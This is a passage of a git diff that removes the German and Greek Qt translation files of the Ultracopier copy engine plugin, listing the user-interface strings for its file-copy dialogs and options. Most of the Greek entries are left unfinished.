- <source>Source</source>
- <translation>Quelle</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Ziel</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>überschreiben</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Überschreiben, wenn neuere</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Überschreiben, wenn nicht gleiche Änderungsdatum</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Diese Dateien sind die gleiche Datei</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>Die Quelle und das Ziel ist dasselbe</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Diese Ordner sind die gleichen Ordner</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Quelle</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Ziel</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>Die Quelle und das Ziel ist dasselbe</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Ordnername</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Fusionieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Ordner bereits vorhanden ist</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Übertragen Sie die Datei Rechte</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Halten Sie das Datei-Datum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Blockgröße</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto starten Sie die Übertragung</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Wenn Ordner Fehler</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Fragen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Fusionieren</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Prüfen Sie, ob Zielordner vorhanden ist</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Wenn Ordner Kollision</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Erst nach dem Fehler</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignorieren, wenn nicht</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Haben checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Aktivieren Sie OS-Puffer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filter</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Umbenennen von Regeln</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS-Puffer, wenn kleiner als</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>Der Ordner existiert nicht</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>Der Ordner ist nicht lesbar</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/el/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/el/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/el/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
